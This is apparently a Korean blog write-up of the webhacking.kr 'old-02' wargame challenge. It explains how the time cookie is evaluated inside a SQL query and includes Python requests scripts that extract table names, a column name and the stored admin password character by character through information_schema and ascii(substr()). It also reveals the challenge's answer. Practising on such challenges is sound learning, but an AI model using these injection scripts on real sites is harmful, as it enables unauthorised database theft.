old-02 이다. 내 IP가 로깅되고 있다고 한다.
알 수 있는 게 없으니 Elements를 확인해보자
현재 시각이 주석처리되어있고
admin.php에 접근하면 엉덩이를 발로 차버린다고 한다..
맞더라도 궁금하니 들어가보자
password를 입력하는 부분이 있다.
SQL injection 인가? '(싱글쿼터) 를 넣어봤다.
아닌가? ' or 1# 을 넣어봐도 똑같다.
다른 특이사항이라면
time이라는 쿠키가 설정돼 있다.
value가 172086... 라는 숫자로 설정돼있는데 쿠키를 삭제하고 새로고침 해보니 바뀌는 것으로 보아
현재 시각과 관련이 있는 듯 하다.
아 이거 유닉스 시간이구나
유닉스 시간은 1970/01/01 00:00:00을 기준으로 지나온 만큼의 시간이다.
맞네요 ㅎㅎ
https://time.is/ko/Unix%20time%20converter <- 유닉스 시간 변환기
이거 시간 맞춰놓고
쿠키 value 시간 == 현재 시간 이면 flag가 나오는건가?
아무 일도 일어나지 않았다
아주 오랫동안 삽질을 한 결과
time의 값에 따라 주석의 값이 바뀌는 것을 알아냈다.
2070-01-01 09:00:00 이 기본이고 -1을 하니 1초가 빠졌다.
쿠키에 123을 넣으면?
123초만큼 올라갔다
이걸로 뭘 어쩌라는거지
IP가 로깅되고 있댔으니까 내 ip를 넣어야되나 그건 너무 억지같은데
더 삽질을 했다
모르겠다
외부의 도움으로 쿠키값이 참일때와 거짓일 때의 return이 다르다는 정보를 얻었다.
쿠키에 1=1 (true) 를 넣으면
1=0 (False) 를 넣으면
다르다..!
select 1을 넣어봤다.
아무것도 안된다.
하지만 (select 1)을 넣어보니 1이 반환된다.
왜 괄호를 넣어야만 동작을 할까
아마 쿼리 구조가 SELECT [쿠키 값] 이런 식으로 되어 있는 듯 하다
그래서
SELECT SELECT 1 -> error
SELECT (SELECT 1) -> return 1
처럼 동작한다고 예상된다
쿠키 값이 SQL 구문을 만들고, 쿼리를 실행한 결과를 숫자로 반환된다는 정보까지 알고있다.
1. 테이블 개수 찾기
2. 테이블명 찾기
3. 컬럼 개수 찾기
4. 컬럼명 찾기
순서대로 진행해보겠다.
1. 테이블 개수 찾기
import requests
url = 'https://webhacking.kr/challenge/web-02/'
#--- table count ---#
cookie = {
'time':'(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = database())'
}
r = requests.get(url,cookies=cookie)
print(r.text)
현재 DB에 속해있는 테이블의 개수를 구하는 쿼리를 쿠키에 전달해 GET요청을 보냈다.
09:00:02가 반환됐다. 현재 DB에는 2개의 테이블이 있다는 정보를 알아냈다.
#--- first table_name length
cookie = {
'time':'(SELECT length(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)'
}
r = requests.get(url,cookies=cookie)
print(r.text)
2개의 테이블 중 첫 번째의 테이블명의 길이를 알아내는 쿼리를 쿠키에 넣어 요청했다.
13이 나왔다.
limit 0,1을 limit 1,1로 수정해서 두 번째 테이블의 길이도 알아낼 수 있다.
LIMIT(a,b) # a번째 ROW부터 b개의 ROW를 추출 ex) LIMIT(0,1) -> 0번째 ROW에서 1개의 ROW를 추출
3이 나왔다.
2. 테이블명 찾기
#--- first table_name ---#
for i in range(1, 13+1):
cookie = {
'time':f'(SELECT ascii(substr(table_name,{i},1)) FROM information_schema.tables WHERE table_schema=database() limit 0,1)'
}
r = requests.get(url,cookies=cookie)
if '09:' in r.text:
index = r.text.find('09:') + len('09:')
extract_str = r.text[index:index+5]
print(f'{i} -> {extract_str}')
숫자만 반환하기 때문에 ascii 함수를 사용해 문자를 숫자로 변환해 반환하게 쿼리를 짰다.
예를 들어 table_name이 'ITISFLAG' 라고 가정했을 때
substr(table_name,{i},1) 으로 i번째 문자를 추출하고, (1번째면 'F' 추출)
'F' 을 ascii() 를 사용해 숫자로 반환되게 한다. 우리는 반환된 아스키를 다시 문자로 변환시키면 된다.
여기서 헛짓거리 많이 했는데, ascii나 substr 같은 함수는 뒷 부분을 전부 묶어서 적용하는 게 아니라
select 할 column에만 묶어줘야 한다. ascii(substr(table_name,{i},1) 먼저 묶어 준 후 뒤에 FROM 와야 함
substr(str,pos,len) # str에서 pos의 위치에서부터 len만큼 문자를 추출 pos는 1이 첫 번째임
substr에서는 pos의 첫 번째 값이 1이기 때문에 (limit은 0이 첫번째) for문을 1부터 시작해줬다.
if '09:' in r.text:
index = r.text.find('09:') + len('09:')
extract_str = r.text[index:index+5]
print(f'{i} -> {extract_str}')
이 부분은 r.text를 계속 쳐다보기 귀찮아서 만들었는데, '09:' 의 인덱스 값을 알아내서 뒤 5자리를 추출하는 코드이다
09:12:34이면 09: 뒤의 5자리 -> 12:34를 추출한다.
이런 식으로 나오는데, 저걸 초로 바꿔서 chr()까지 하게 만들 걸 그랬나
fir_table_name=''
strs=[97,100,109,105,110,95,97,114,101,97,95,112,119]
for i in range(0,13):
fir_table_name += chr(strs[i])
strs 안의 배열은 그냥 노가다로 구해서 만들었다
첫 테이블명은 admin_area_pw 이다.
두 번째 테이블명도 똑같이 구해준다.
두 번째 테이블명은 lpg라고 한다 뭐지
TABLE_NAME |
admin_area_pw |
lpg |
암튼 이렇게 구성이 되어있는 것 같고 딱 봐도 admin_area_pw에 flag가 있을 것 같으니 저길 뒤져보도록 하자
#--- admin_area_pw's column count' ---#
cookie = {
'time':f'(SELECT count(column_name) FROM information_schema.columns where table_name="admin_area_pw")'
}
r = requests.get(url,cookies=cookie)
print(r.text)
admin_area_pw 테이블에서 column의 개수를 구해보았다.
column은 1개이다.
#--- admin_area_pw' column_length ---#
cookie = {
'time':f'(SELECT length(column_name) FROM information_schema.columns where table_name="admin_area_pw")'
}
r = requests.get(url,cookies=cookie)
print(r.text)
column_length 는 2이다
#--- admin_area_pw's column_name ---#
for i in range(1,2+1):
cookie = {
'time':f'(SELECT ascii(substr(column_name,{i},1)) FROM information_schema.columns WHERE table_name="admin_area_pw" limit 0,1)'
}
r = requests.get(url,cookies=cookie)
if '09:' in r.text:
index = r.text.find('09:') + len('09:')
extract_str = r.text[index:index+5]
print(f'{i} -> {extract_str}')
column_name=''
strs=[112,119]
for i in range(0,2):
column_name += chr(strs[i])
print(column_name)
column_name은 pw이다.
#--- data's length ---#
for i in range(1,20): # substr은 1부터 시작하기때문
cookie = {
'time':f'(SELECT length(pw) FROM admin_area_pw)'
}
r = requests.get(url,cookies=cookie)
print(r.text)
pw에 들어있는 데이터의 길이는 17이다.
#--- data ---#
for i in range(1,17+1): # substr은 1부터 시작하기때문
cookie = {
'time':f'(SELECT ascii(substr(pw,{i},1)) FROM admin_area_pw)'
}
r = requests.get(url,cookies=cookie)
if '09:' in r.text:
index = r.text.find('09:') + len('09:')
extract_str = r.text[index:index+5]
print(f'{i} -> {extract_str}')
data=''
strs=[107,117,100,111,115,95,116,111,95,98,101,105,115,116,108,97,98]
for i in range(0,len(strs)):
data += chr(strs[i])
print(data)
-> kudos_to_beistlab
를 admin.php에 입력해주면?
'Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-21 풀이 (0) | 2024.07.27 |
---|---|
[Webhacking.kr] old-20 풀이 (0) | 2024.07.15 |
[Webhacking.kr] old-54 풀이 (0) | 2024.07.12 |
[Webhacking.kr] old-38 풀이 (0) | 2024.07.12 |
[Webhacking.kr] old-16 풀이 (0) | 2024.07.11 |